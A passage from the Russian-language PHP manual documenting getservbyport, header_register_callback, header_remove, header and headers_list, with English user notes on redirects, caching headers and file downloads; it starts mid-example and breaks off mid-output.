'smtp', 'nicname', 'gopher', 'finger', 'pop3', 'www');

foreach ($services as $service) {
$port = getservbyname($service, 'tcp');
echo $service . ": " . $port . "<br />\n";
}
?>

Смотрите также

  • getservbyport() - Получает интернет-службу, соответствующую заданному порту и протоколу
  • Смотрите » http://www.iana.org/assignments/port-numbers для получения полного списка номеров портов.

User Contributed Notes

There are no user contributed notes for this page.


Получает интернет-службу, соответствующую заданному порту и протоколу

  • « getservbyname
  • header_register_callback »
  • PHP Manual
  • Сетевые функции
  • Получает интернет-службу, соответствующую заданному порту и протоколу

getservbyport

(PHP 4, PHP 5, PHP 7, PHP 8)

getservbyport — Получает интернет-службу, соответствующую заданному порту и протоколу

Описание

getservbyport(int $port, string $protocol): string|false

Функция getservbyport() возвращает Интернет-службу, соответствующую заданному в параметре port порту для определённого протокола protocol согласно /etc/services.

Список параметров

port

Номер порта.

protocol

Параметр protocol может быть "tcp" or "udp" (в нижнем регистре).

Возвращаемые значения

Возвращает имя Интернет-службы в виде строки или false в случае возникновения ошибки.

Смотрите также

  • getservbyname() - Получает номер порта, связанного с интернет-службой и протоколом

User Contributed Notes

paland at stetson dot edu 29-Nov-2000 04:00
Example:
<?php $value = getservbyport(137, "udp"); ?>

The same goes for getservbyname()


Вызывает функцию заголовка

  • « getservbyport
  • header_remove »
  • PHP Manual
  • Сетевые функции
  • Вызывает функцию заголовка

header_register_callback

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

header_register_callback — Вызывает функцию заголовка

Описание

header_register_callback(callable $callback): bool

Регистрирует функцию, которая будет вызвана когда PHP начнёт отправлять вывод.

Параметр callback запускается сразу после того, как PHP были подготовлены все отправляемые заголовки, и перед отправкой любого другого вывода, создавая возможность для управления исходящими заголовками перед отправкой.

Список параметров

callback

Функция вызывается непосредственно перед отправкой заголовков, не получает параметров и возвращаемое значение игнорируется.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования header_register_callback()

<?php

header('Content-Type: text/plain');
header('X-Test: foo');

function foo() {
foreach (headers_list() as $header) {
if (strpos($header, 'X-Powered-By:') !== false) {
header_remove('X-Powered-By');
}
header_remove('X-Test');
}
}

$result = header_register_callback('foo');
echo "a";
?>

Результатом выполнения данного примера будет что-то подобное:

Content-Type: text/plain

a

Примечания

Функция header_register_callback() запускается по готовности отправки заголовков, так что любой вывод из этой функции может прервать вывод.

Замечание:

Доступ к заголовкам и их вывод будет осуществляться только в случае, если в используемом вами SAPI есть их поддержка.

Смотрите также

  • headers_list() - Возвращает список переданных заголовков (или готовых к отправке)
  • header_remove() - Удаляет ранее установленные заголовки
  • header() - Отправка HTTP-заголовка

User Contributed Notes

matt@kafene 26-Feb-2013 10:26
Note that this function only registers a single callback as of php 5.4. The most recent callback set is the one that will be executed, they will not be executed in order like with register_shutdown_function(), just overwritten.

Here is my test:

<?php

$i = $j = 0;
header_register_callback(function() use(&$i){ $i+=2; });
header_register_callback(function() use(&$i){ $i+=3; });
register_shutdown_function(function() use(&$j){ $j+=2; });
register_shutdown_function(function() use(&$j){ $j+=3; });
register_shutdown_function(function() use(&$j){ var_dump($j); });
while(!headers_sent()) { echo "<!-- ... flushing ... -->"; }
var_dump(headers_sent(), $i);
exit;

?>

Results:

headers_sent() - true
$i = 3
$j = 5


Удаляет ранее установленные заголовки

  • « header_register_callback
  • header »
  • PHP Manual
  • Сетевые функции
  • Удаляет ранее установленные заголовки

header_remove

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

header_remove — Удаляет ранее установленные заголовки

Описание

header_remove(?string $name = null): void

Удаляет предварительно установленный функцией header() HTTP-заголовок.

Список параметров

name

Имя удаляемого заголовка. Если null, удаляются все ранее установленные заголовки.

Замечание: Это регистронезависимый параметр.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Список изменений

Версия | Описание
8.0.0 | name теперь допускает значение null.

Примеры

Пример #1 Уничтожение определённого заголовка.

<?php
header("X-Foo: Bar");
header("X-Bar: Baz");
header_remove("X-Foo");
?>

Результатом выполнения данного примера будет что-то подобное:

X-Bar: Baz

Пример #2 Уничтожение всех ранее установленных заголовков.

<?php
header("X-Foo: Bar");
header("X-Bar: Baz");
header_remove();
?>

Результатом выполнения данного примера будет что-то подобное:

Примечания

Предостережение

    Эта функция удалит все заголовки, установленные с помощью PHP, включая cookies, сессию и заголовки X-Powered-By.

Замечание:
Доступ к заголовкам и их вывод будет осуществляться только в случае, если в используемом вами SAPI есть их поддержка.

Смотрите также

  • header() - Отправка HTTP-заголовка
    •

  • headers_sent() - Проверяет, были ли отправлены заголовки
    •

User Contributed Notes

   jake at qzdesign dot co dot uk
   29-May-2018 10:57

When called from a command-line process, this function does nothing when passed a specific header to remove, but it does nonetheless work properly when called with no arguments to remove all headers.

Thus, when unit-testing or executing in some other test harness, if the code you are testing may call `header_remove()`, with the UOPZ and XDebug extensions loaded, you could use the following in order to more effectively test that the expected headers are set [which you would do by inspecting the array returned by `xdebug_get_headers()` after running the code under test, as `headers_list()` does not work despite the headers actually being stored internally as normal]:

<?php

uopz_set_return(

  'header_remove',

  function($name = null) {

    if ($name !== null) {

      $pattern = '/^' . preg_quote($name, '/') . ':/i';

      $headers = array_filter(

        xdebug_get_headers(),

        function($header) use($pattern) {

          return !preg_match($pattern, $header);

        }

      );

    }

    // This works to remove all headers, just not individual headers.

    header_remove();

    if ($name !== null) {

      foreach ($headers as $header) {

        header($header);

      }

    }

  },

  true

);

?>

   Anonymous
   27-Aug-2015 12:46

expose_php is php.ini only!

this won't work:

ini_set('expose_php',0);

works:

header_remove('x-powered-by');

   J W
   08-Mar-2015 10:07

You should ini_set("expose_php", 0); or set it in your php.ini to Off, instead of using this to remove X-Powered-By header.

   Saeed Khamseh
   24-Feb-2011 11:53

if you want to remove header information about php version (x-powered-by), you can use:

header_remove('x-powered-by');

alternatively, if you don't have php 5.3 installed, you can do the same thing using "header" command:

header('x-powered-by:');

don't forget the ':' character at the end of the string!


Отправка HTTP-заголовка

  • « header_remove
  • headers_list »
  • PHP Manual
  • Сетевые функции
  • Отправка HTTP-заголовка

header

(PHP 4, PHP 5, PHP 7, PHP 8)

header — Отправка HTTP-заголовка

Описание

header(string $header, bool $replace = true, int $response_code = 0): void

header() используется для отправки HTTP-заголовка. В » спецификации HTTP/1.1 есть подробное описание HTTP-заголовков.

Помните, что функцию header() можно вызывать только если клиенту ещё не передавались данные. То есть она должна идти первой в выводе, перед её вызовом не должно быть никаких HTML-тегов, пустых строк и т.п. Довольно часто возникает ошибка, когда при чтении кода файловыми функциями, вроде include или require, в этом коде попадаются пробелы или пустые строки, которые выводятся до вызова header(). Те же проблемы могут возникать и при использовании PHP/HTML в одном файле.

<html>
<?php
/* Этот пример приведёт к ошибке. Обратите внимание
* на тег вверху, который будет выведен до вызова header() */
header('Location: http://www.example.com/');
exit;
?>

Список параметров

header

Строка заголовка.

Существует два специальных заголовка. Один из них начинается с "HTTP/" (регистр не важен) и используется для отправки кода состояния HTTP. Например, если веб-сервер Apache сконфигурирован таким образом, чтобы запросы к несуществующим файлам обрабатывались средствами PHP-скрипта (используя директиву ErrorDocument), вы наверняка захотите убедиться, что скрипт генерирует правильный код состояния.

<?php
// Этот пример иллюстрирует особый случай "HTTP/".
// Лучшие альтернативы в типичных случаях использования включают:
// 1. header($_SERVER["SERVER_PROTOCOL"] . " 404 Not Found");
// (чтобы переопределить сообщения о состоянии http для клиентов, которые все еще используют HTTP/1.0)
// 2. http_response_code(404); (для использования сообщения по умолчанию)
header("HTTP/1.1 404 Not Found");
?>

Другим специальным видом заголовков является "Location:". В этом случае функция не только отправляет этот заголовок браузеру, но также возвращает ему код состояния REDIRECT (302), если ранее не был установлен код 201 или 3xx.

<?php
header("Location: http://www.example.com/"); /* Перенаправление браузера */

/* Убедиться, что код ниже не выполнится после перенаправления .*/
exit;
?>

replace

Необязательный параметр replace определяет, надо ли заменять предыдущий аналогичный заголовок или заголовок того же типа. По умолчанию заголовок будет заменён, но если передать false, можно задать несколько однотипных заголовков. Например:

<?php
header('WWW-Authenticate: Negotiate');
header('WWW-Authenticate: NTLM', false);
?>

response_code

Принудительно задаёт код ответа HTTP. Следует учитывать, что это будет работать, только если строка header не является пустой.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Если не удалось запланировать отправку заголовка, header() выдаёт ошибку уровня E_WARNING.

Примеры

Пример #1 Диалог загрузки

Если нужно предупредить пользователя о необходимости сохранить пересылаемые данные, такие как сгенерированный PDF-файл, можно воспользоваться заголовком » Content-Disposition, который подставляет рекомендуемое имя файла и заставляет браузер показать диалог загрузки.

<?php
// Будем передавать PDF
header('Content-Type: application/pdf');

// Он будет называться downloaded.pdf
header('Content-Disposition: attachment; filename="downloaded.pdf"');

// Исходный PDF-файл original.pdf
readfile('original.pdf');
?>

Пример #2 Директивы для работы с кешем

PHP-скрипты часто генерируют динамический контент, который не должен кешироваться клиентским браузером или какими-либо промежуточными обработчиками, вроде прокси-серверов. Можно принудительно отключить кеширование на многих прокси-серверах и браузерах, передав заголовки:

<?php
header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); // Дата в прошлом
?>

Замечание:

В некоторых случаях ваши страницы не будут кешироваться браузером, даже если вы не передавали этих заголовков. В браузерах есть определённые настройки, с помощью которых пользователь может изменять обычный ход кеширования, отключать его. Вы должны переопределять любые настройки, которые могут повлиять на кеширование скрипта, отправляя приведённые выше заголовки.

Кроме того, для случаев когда используются сессии, можно задать настройки конфигурации session_cache_limiter() и session.cache_limiter. Эти настройки можно использовать для автоматической генерации заголовков управляющих кешированием.

Примечания

Замечание:

Доступ к заголовкам и их вывод будет осуществляться только в случае, если в используемом вами SAPI есть их поддержка.

Замечание:

Чтобы обойти эту проблему, можно буферизовать вывод скрипта. В этом случае все выводимые данные будут буферизоваться на сервере, пока не будет дана явная команда на пересылку данных. Управлять буферизацией можно вручную функциями ob_start() и ob_end_flush(), либо задав директиву output_buffering в конфигурационном файле php.ini, или же настроив соответствующим образом конфигурацию сервера.

Замечание:

Строка заголовка состояния HTTP всегда будет отсылаться клиенту первой, вне зависимости от того был соответствующий вызов функции header() первым или нет. Это состояние можно перезаписать, вызывая header() с новой строкой состояния в любое время, когда можно отправлять HTTP-заголовки.

Замечание:

Спецификация HTTP/1.1 требует указывать абсолютный URI в качестве аргумента » Location:, включающий схему, имя хоста и абсолютный путь, хотя некоторые клиенты способны принимать и относительные URI. Абсолютный URI можно построить самостоятельно с помощью $_SERVER['HTTP_HOST'], $_SERVER['PHP_SELF'] и dirname():

<?php
/* Перенаправление браузера на другую страницу в той же директории, что и
изначально запрошенная */
$host = $_SERVER['HTTP_HOST'];
$uri = rtrim(dirname($_SERVER['PHP_SELF']), '/\\');
$extra = 'mypage.php';
header("Location: http://$host$uri/$extra");
exit;
?>

Замечание:

Идентификатор сессии не будет передаваться вместе с заголовком Location, даже если включена настройка session.use_trans_sid. Его нужно передавать вручную, используя константу SID.

Смотрите также

  • headers_sent() - Проверяет, были ли отправлены заголовки
  • setcookie() - Отправляет cookie
  • http_response_code() - Получает или устанавливает код ответа HTTP
  • header_remove() - Удаляет ранее установленные заголовки
  • headers_list() - Возвращает список переданных заголовков (или готовых к отправке)
  • Раздел документации HTTP-аутентификации

User Contributed Notes

Emmanuel Chazard 20-Jun-2023 01:44
If you use header() to allow the user to download a file, it's very important to check the encoding of the script itself. Your script should be encoded in UTF-8, but definitely not in UTF-8-BOM! The presence of BOM will alter the file received by the user. Let the following script:

<?php

$content = file_get_contents('test_download.png') ;
$name = 'test.png' ;
$size = strlen($content) ;

header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Cache-Control: no-cache, must-revalidate');
header('Expires: 0');
header('Content-Disposition: attachment; filename="'.$name.'"');
header('Content-Length: ' . $size);
header('Pragma: public');

echo $content ;

?>

Irrespectively from the encoding of test_download.png, when this PHP script is encoded in UTF-8-BOM, the content received by the user is different:
- a ZWNBSP byte (U+FEFF) is added to the beginning of the file
- the file content is truncated!!!
If it's a binary file (e.g. image, proprietary format), the file will become unreadable.
David Spector 12-Jul-2021 12:07
Please note that there is no error checking for the header command, either in PHP, browsers, or Web Developer Tools.

If you use something like "header('text/javascript');" to set the MIME type for PHP response text (such as for echoed or Included data), you will get an undiagnosed failure.

The proper MIME-setting function is "header('Content-type: text/javascript');".
Angelica Perduta 24-Feb-2020 11:20
I made a script that generates an optimized image for use on web pages using a 404 script to resize and reduce original images, but on some servers it was generating the image but then not using it due to some kind of cache somewhere of the 404 status. I managed to get it to work with the following and although I don't quite understand it, I hope my posting here does help others with similar issues:

    header_remove();
    header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
    header("Cache-Control: post-check=0, pre-check=0", false);
    header("Pragma: no-cache");
    // ... and then try redirecting
    // 201 = The request has been fulfilled, resulting in the creation of a new resource however it's still not loading
    // 302 "moved temporarily" does seems to load it!
    header("location:$dst", FALSE, 302); // redirect to the file now we have it
php at ober-mail dot de 07-Dec-2019 02:14
Since PHP 5.4, the function `http_?response_?code()` can be used to set the response code instead of using the `header()` function, which requires to also set the correct protocol version (which can lead to problems, as seen in other comments).
hamza dot eljaouhari dot etudes at gmail dot com 06-Jun-2018 07:56
// Beware that adding a space between the keyword "Location" and the colon causes an Internal Sever Error

//This line causes the error
        7
header('Location : index.php&controller=produit&action=index');

// While It must be written without the space
 header('Location: index.php&controller=produit&action=index');
ASchmidt at Anamera dot net 11-May-2018 03:36
Setting the "Location: " header has another undocumented side-effect!

It will also disregard any expressly set "Content-Type: " and forces:

"Content-Type: text/html; CHARSET=Windows-1251"

The HTTP RFCs don't call for such a drastic action. They simply state that a redirect content SHOULD include a link to the destination page (in which case ANY HTML compatible content type would do). But PHP even overrides a perfectly standards-compliant
"Content-Type: application/xhtml+xml"!
tim at sharpwebdevelopment dot com 19-Feb-2018 03:18
The header call can be misleading to novice php users.
when "header call" is stated, it refers the the top leftmost position of the file and not the "header()" function itself.
"<?php" opening tag must be placed before anything else, even whitespace.
razvan_bc at yahoo dot com 17-Jan-2018 05:20
<?php
/* This will give an error. Note the output
 * above, which is before the header() call */
header('Location: http://www.example.com/');
exit;
?>

this example is pretty good BUT in time you use "exit" the parser will still work to decide what's happening next the "exit" 's action should do ('cause if you check the manual exit works in others situations too).
SO MY POINT IS : you should use :
<?php

header('Location: http://www.example.com/');
die();

?>
'CAUSE all die function does is to stop the script ,there is no other place for interpretation and the scope you choose to break the action of your script is quickly DONE!!!

there are many situations  with others examples and the right choose for small parts of your scrips that make differences when you write your php framework at well!

Thanks Rasmus Lerdorf and his team to wrap off parts of unusual php functionality ,php 7 roolez!!!!!
David 15-Sep-2017 04:26
It seems the note saying the URI must be absolute is obsolete. Found on https://en.wikipedia.org/wiki/HTTP_location

«An obsolete version of the HTTP 1.1 specifications (IETF RFC 2616) required a complete absolute URI for redirection.[2] The IETF HTTP working group found that the most popular web browsers tolerate the passing of a relative URL[3] and, consequently, the updated HTTP 1.1 specifications (IETF RFC 7231) relaxed the original constraint, allowing the use of relative URLs in Location headers.»
chris at ocproducts dot com 21-Jan-2017 06:59
Note that 'session_start' may overwrite your custom cache headers.
To remedy this you need to call:

session_cache_limiter('');

...after you set your custom cache headers. It will tell the PHP session code to not do any cache header changes of its own.
nospam at nospam dot com 17-Mar-2016 08:50
<?php

// Response codes behaviors when using
header('Location: /target.php', true, $code) to forward user to another page:

$code = 301;
// Use when the old page has been "permanently moved and any future requests should be sent to the target page instead. PageRank may be transferred."

$code = 302; (default)
// "Temporary redirect so page is only cached if indicated by a Cache-Control or Expires header field."

$code = 303;
// "This method exists primarily to allow the output of a POST-activated script to redirect the user agent to a selected resource. The new URI is not a substitute reference for the originally requested resource and is not cached."

$code = 307;
// Beware that when used after a form is submitted using POST, it would carry over the posted values to the next page, such if target.php contains a form processing script, it will process the submitted info again!

// In other words, use 301 if permanent, 302 if temporary, and 303 if a results page from a submitted form.
// Maybe use 307 if a form processing script has moved.

?>
yjf_victor 19-Jan-2016 02:23
According to the RFC 6226 (https://tools.ietf.org/html/rfc6266), the only way to send Content-Disposition Header with encoding is:

Content-Disposition: attachment;
                          filename*= UTF-8''%e2%82%ac%20rates

for backward compatibility, what should be sent is:

Content-Disposition: attachment;
                          filename="EURO rates";
                          filename*=utf-8''%e2%82%ac%20rates

As a result, we should use

<?php
$filename = '?????.exe';   // a filename in Chinese characters

$contentDispositionField = 'Content-Disposition: attachment; '
    . sprintf('filename="%s"; ', rawurlencode($filename))
    . sprintf("filename*=utf-8''%s", rawurlencode($filename));

header('Content-Type: application/octet-stream');

header($contentDispositionField);

readfile('file_to_download.exe');
?>

I have tested the code in IE6-10, firefox and Chrome.
er dot ellison dot nyc at gmail dot com 23-Oct-2015 08:16
DO NOT PUT space between location and the colon that comes after that ,
// DO NOT USE THIS :
header("Location : #whatever"); // -> will not work !

// INSTEAD USE THIS ->
header("Location: #wahtever"); // -> will work forever !
Vinay Kotekar 12-Dec-2014 01:34
Saving php file in ANSI  no isuess but when saving the file in UTF-8 format for various reasons remember to save the file without any BOM ( byte-order mark) support.
Otherwise you will face problem of headers not being properly sent
eg.
<?php header("Set-Cookie: name=user");?>

Would give something like this :-

Warning: Cannot modify header information - headers already sent by (output started at C:\www\info.php:1) in C:\www\info.php on line 1
ben at indietorrent dot org 23-May-2012 05:34
Be aware that sending binary files to the user-agent (browser) over an encrypted connection (SSL/TLS) will fail in IE (Internet Explorer) versions 5, 6, 7, and 8 if any of the following headers is included:

Cache-control:no-store
Cache-control:no-cache

See: http://support.microsoft.com/kb/323308

Workaround: do not send those headers.

Also, be aware that IE versions 5, 6, 7, and 8 double-compress already-compressed files and do not reverse the process correctly, so ZIP files and similar are corrupted on download.

Workaround: disable compression (beyond text/html) for these particular versions of IE, e.g., using Apache's "BrowserMatch" directive. The following example disables compression in all versions of IE:

BrowserMatch ".*MSIE.*" gzip-only-text/html
cedric at gn dot apc dot org 22-Jan-2011 11:47
Setting a Location header "returns a REDIRECT (302) status code to the browser unless the 201 or a 3xx status code has already been set".  If you are sending a response to a POST request, you might want to look at RFC 2616 sections 10.3.3 and 10.3.4.   It is suggested that if you want the browser to immediately GET the resource in the Location header in this circumstance, you should use a 303 status code not the 302 (with the same link as hypertext in the body for very old browsers).  This may have (rare) consequences as mentioned in bug 42969.
Cody G. 01-Aug-2010 09:53
After lots of research and testing, I'd like to share my findings about my problems with Internet Explorer and file downloads.

  Take a look at this code, which replicates the normal download of a Javascript:

<?php
 if(strstr($_SERVER["HTTP_USER_AGENT"],"MSIE")==false) {
  header("Content-type: text/javascript");
  header("Content-Disposition: inline; filename=\"download.js\"");
  header("Content-Length: ".filesize("my-file.js"));
 } else {
  header("Content-type: application/force-download");
  header("Content-Disposition: attachment; filename=\"download.js\"");
  header("Content-Length: ".filesize("my-file.js"));
 }
 header("Expires: Fri, 01 Jan 2010 05:00:00 GMT");
 if(strstr($_SERVER["HTTP_USER_AGENT"],"MSIE")==false) {
  header("Cache-Control: no-cache");
  header("Pragma: no-cache");
 }
 include("my-file.js");
?>

Now let me explain:

  I start out by checking for IE, then if not IE, I set Content-type (case-sensitive) to JS and set Content-Disposition (every header is case-sensitive from now on) to inline, because most browsers outside of IE like to display JS inline. (User may change settings). The Content-Length header is required by some browsers to activate download box. Then, if it is IE, the "application/force-download" Content-type is sometimes required to show the download box. Use this if you don't want your PDF to display in the browser (in IE). I use it here to make sure the box opens. Anyway, I set the Content-Disposition to attachment because I already know that the box will appear. Then I have the Content-Length again.

  Now, here's my big point. I have the Cache-Control and Pragma headers sent only if not IE. THESE HEADERS WILL PREVENT DOWNLOAD ON IE!!! Only use the Expires header, after all, it will require the file to be downloaded again the next time. This is not a bug! IE stores downloads in the Temporary Internet Files folder until the download is complete. I know this because once I downloaded a huge file to My Documents, but the Download Dialog box put it in the Temp folder and moved it at the end. Just think about it. If IE requires the file to be downloaded to the Temp folder, setting the Cache-Control and Pragma headers will cause an error!

I hope this saves someone some time!
~Cody G.
Marcel G 01-Apr-2010 06:37
Several times this one is asked on the net but an answer could not be found in the docs on php.net ...

If you want to redirect an user and tell him he will be redirected, e. g. "You will be redirected in about 5 secs. If not, click here." you cannot use header( 'Location: ...' ) as you can't sent any output before the headers are sent.

So, either you have to use the HTML meta refresh thingy or you use the following:

<?php
  header( "refresh:5;url=wherever.php" );
  echo 'You\'ll be redirected in about 5 secs. If not, click <a href="wherever.php">here</a>.';
?>

Hth someone
Refugnic 03-Feb-2010 05:43
My files are in a compressed state (bz2). When the user clicks the link, I want them to get the uncompressed version of the file.

After decompressing the file, I ran into the problem, that the download dialog would always pop up, even when I told the dialog to 'Always perform this operation with this file type'.

As I found out, the problem was in the header directive 'Content-Disposition', namely the 'attachment' directive.

If you want your browser to simulate a plain link to a file, either change 'attachment' to 'inline' or omit it alltogether and you'll be fine.

This took me a while to figure out and I hope it will help someone else out there, who runs into the same problem.
dev at omikrosys dot com 16-Oct-2009 10:45
Just to inform you all, do not get confused between Content-Transfer-Encoding and Content-Encoding

Content-Transfer-Encoding specifies the encoding used to transfer the data within the HTTP protocol, like raw binary or base64. (binary is more compact than base64. base64 having 33% overhead).
Eg Use:- header('Content-Transfer-Encoding: binary');

Content-Encoding is used to apply things like gzip compression to the content/data.
Eg Use:- header('Content-Encoding: gzip');
scott at lucentminds dot com 16-Oct-2009 04:42
If you want to remove a header and keep it from being sent as part of the header response, just provide nothing as the header value after the header name. For example...

PHP, by default, always returns the following header:

"Content-Type: text/html"

Which your entire header response will look like

HTTP/1.1 200 OK
Server: Apache/2.2.11 (Unix)
X-Powered-By: PHP/5.2.8
Date: Fri, 16 Oct 2009 23:05:07 GMT
Content-Type: text/html; CHARSET=Windows-1251
Connection: close

If you call the header name with no value like so...

<?php

    header( 'Content-Type:' );

?>

Your headers now look like this:

HTTP/1.1 200 OK
Server: Apache/2.2.11 (Unix)
X-Powered-By: PHP/5.2.8
Date: Fri, 16 Oct 2009 23:05:07 GMT
Connection: close
Anonymous 31-Jul-2009 08:02
I just want to add, becuase I see here lots of wrong formated headers.

1. All used headers have first letters uppercase, so you MUST follow this. For example:

Location, not location
Content-Type, not content-type, nor CONTENT-TYPE

2. Then there MUST be colon and space, like

good: header("Content-Type: text/plain");
wrong: header("Content-Type:text/plain");

3. Location header MUST be absolute uri with scheme, domain, port, path, etc.

good: header("Location: http://www.example.com/something.php?a=1");

4. Relative URIs are NOT allowed

wrong:  Location: /something.php?a=1
wrong:  Location: ?a=1

It will make proxy server and http clients happier.
mjt at jpeto dot net 17-Jul-2009 11:01
I strongly recommend, that you use

header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found");

instead of

header("HTTP/1.1 404 Not Found");

I had big troubles with an Apache/2.0.59 (Unix) answering in HTTP/1.0 while I (accidentially) added a "HTTP/1.1 200 Ok" - Header.

Most of the pages were displayed correct, but on some of them apache added weird content to it:

A 4-digits HexCode on top of the page (before any output of my php script), seems to be some kind of checksum, because it changes from page to page and browser to browser. (same code for same page and browser)

"0" at the bottom of the page (after the complete output of my php script)

It took me quite a while to find out about the wrong protocol in the HTTP-header.
bebertjean at yahoo dot fr 05-Dec-2008 05:46
If using the 'header' function for the downloading of files, especially if you're passing the filename as a variable, remember to surround the filename with double quotes, otherwise you'll have problems in Firefox as soon as there's a space in the filename.

So instead of typing:

<?php
  header("Content-Disposition: attachment; filename=" . basename($filename));
?>

you should type:

<?php
  header("Content-Disposition: attachment; filename=\"" . basename($filename) . "\"");
?>

If you don't do this then when the user clicks on the link for a file named "Example file with spaces.txt", then Firefox's Save As dialog box will give it the name "Example", and it will have no extension.

See the page called "Filenames_with_spaces_are_truncated_upon_download" at
http://kb.mozillazine.org/ for more information. (Sorry, the site won't let me post such a long link...)
jamie 01-Dec-2008 07:57
The encoding of a file is discovered by the Content-Type, either in the HTML meta tag or as part of the HTTP header. Thus, the server and browser does not need - nor expect - a Unicode file to begin with a BOM mark. BOMs can confuse *nix systems too. More info at http://unicode.org/faq/utf_bom.html#bom1

On another note: Safari can display CMYK images (at least the OS X version, because it uses the services of QuickTime)
mzheng[no-spam-thx] at ariba dot com 23-Oct-2008 08:50
For large files (100+ MBs), I found that it is essential to flush the file content ASAP, otherwise the download dialog doesn't show until a long time or never.

<?php
header("Content-Disposition: attachment; filename=" . urlencode($file));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file));
flush(); // this doesn't really matter.

$fp = fopen($file, "r");
while (!feof($fp))
{
    echo fread($fp, 65536);
    flush(); // this is essential for large downloads
}
fclose($fp);
?>
shutout2730 at yahoo dot com 21-Aug-2008 11:57
It is important to note that headers are actually sent when the first byte is output to the browser. If you are replacing headers in your scripts, this means that the placement of echo/print statements and output buffers may actually impact which headers are sent. In the case of redirects, if you forget to terminate your script after sending the header, adding a buffer or sending a character may change which page your users are sent to.

This redirects to 2.html since the second header replaces the first.

<?php
header("location: 1.html");
header("location: 2.html"); //replaces 1.html
?>

This redirects to 1.html since the header is sent as soon as the echo happens. You also won't see any "headers already sent" errors because the browser follows the redirect before it can display the error.

<?php
header("location: 1.html");
echo "send data";
header("location: 2.html"); //1.html already sent
?>

Wrapping the previous example in an output buffer actually changes the behavior of the script! This is because headers aren't sent until the output buffer is flushed.

<?php
ob_start();
header("location: 1.html");
echo "send data";
header("location: 2.html"); //replaces 1.html
ob_end_flush(); //now the headers are sent
?>
sk89q 16-Aug-2008 11:41
You can use HTTP's etags and last modified dates to ensure that you're not sending the browser data it already has cached.

<?php
$last_modified_time = filemtime($file);
$etag = md5_file($file);

header("Last-Modified: ".gmdate("D, d M Y H:i:s", $last_modified_time)." GMT");
header("Etag: $etag");

if (@strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE']) == $last_modified_time ||
    trim($_SERVER['HTTP_IF_NONE_MATCH']) == $etag) {
    header("HTTP/1.1 304 Not Modified");
    exit;
}
?>
Dylan at WeDefy dot com 13-Oct-2007 08:17
A quick way to make redirects permanent or temporary is to make use of the $http_response_code parameter in header().

<?php
// 301 Moved Permanently
header("Location: /foo.php",TRUE,301);

// 302 Found
header("Location: /foo.php",TRUE,302);
header("Location: /foo.php");

// 303 See Other
header("Location: /foo.php",TRUE,303);

// 307 Temporary Redirect
header("Location: /foo.php",TRUE,307);
?>

The HTTP status code changes the way browsers and robots handle redirects, so if you are using header(Location:) it's a good idea to set the status code at the same time.  Browsers typically re-request a 307 page every time, cache a 302 page for the session, and cache a 301 page for longer, or even indefinitely.  Search engines typically transfer "page rank" to the new location for 301 redirects, but not for 302, 303 or 307. If the status code is not specified, header('Location:') defaults to 302.
nobileelpirata at hotmail dot com 02-Jun-2007 03:04
This is the Headers to force a browser to use fresh content (no caching) in HTTP/1.0 and HTTP/1.1:

<?PHP
header( 'Expires: Sat, 26 Jul 1997 05:00:00 GMT' );
header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' );
header( 'Cache-Control: no-store, no-cache, must-revalidate' );
header( 'Cache-Control: post-check=0, pre-check=0', false );
header( 'Pragma: no-cache' );

?>
mandor at mandor dot net 14-Feb-2006 05:14
When using PHP to output an image, it won't be cached by the client so if you don't want them to download the image each time they reload the page, you will need to emulate part of the HTTP protocol.

Here's how:

<?php

    // Test image.
    $fn = '/test/foo.png';

    // Getting headers sent by the client.
    $headers = apache_request_headers();

    // Checking if the client is validating his cache and if it is current.
    if (isset($headers['If-Modified-Since']) && (strtotime($headers['If-Modified-Since']) == filemtime($fn))) {
        // Client's cache IS current, so we just respond '304 Not Modified'.
        header('Last-Modified: '.gmdate('D, d M Y H:i:s', filemtime($fn)).' GMT', true, 304);
    } else {
        // Image not cached or cache outdated, we respond '200 OK' and output the image.
        header('Last-Modified: '.gmdate('D, d M Y H:i:s', filemtime($fn)).' GMT', true, 200);
        header('Content-Length: '.filesize($fn));
        header('Content-Type: image/png');
        print file_get_contents($fn);
    }

?>

That way foo.png will be properly cached by the client and you'll save bandwith. :)
jp at webgraphe dot com 21-Nov-2003 03:56
A call to session_write_close() before the statement

<?php
    header("Location: URL");
    exit();
?>

is recommended if you want to be sure the session is updated before proceeding to the redirection.

We encountered a situation where the script accessed by the redirection wasn't loading the session correctly because the precedent script hadn't the time to update it (we used a database handler).

JP.
bMindful at fleetingiamge dot org 31-May-2003 03:08
If you haven't used, HTTP Response 204 can be very convenient. 204 tells the server to immediately termiante this request. This is helpful if you want a javascript (or similar) client-side function to execute a server-side function without refreshing or changing the current webpage. Great for updating database, setting global variables, etc.

     header("status: 204");  (or the other call)
     header("HTTP/1.0 204 No Response");


Возвращает список переданных заголовков (или готовых к отправке)

  • « header
  • headers_sent »
  • PHP Manual
  • Сетевые функции
  • Возвращает список переданных заголовков (или готовых к отправке)

headers_list

(PHP 5, PHP 7, PHP 8)

headers_list — Возвращает список переданных заголовков (или готовых к отправке)

Описание

headers_list(): array

Функция headers_list() возвращает список заголовков, передаваемых браузеру / клиенту. Для того, чтобы определить переданы ли уже заголовки, используйте функцию headers_sent().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает нумерованный массив заголовков.

Примеры

Пример #1 Пример использования headers_list()

<?php

/* Функция setcookie() добавит заголовок сама по себе */
setcookie('foo', 'bar');

/* Определение пользовательского заголовка
Это будет проигнорировано большинством клиентов */
header("Example-Test: foo");

/* Передача простого текстового контента */
header('Content-Type: text/plain; CHARSET=Windows-1251');

/* Какие заголовки будут отправлены? */
var_dump(headers_list());

?>

Результатом выполнения данного примера будет что-то подобное:

array(3) {
  [0]=>
  string(19) "Set-Cookie: foo=bar"
  [1]=>
  string(17) "Example-Test: foo"
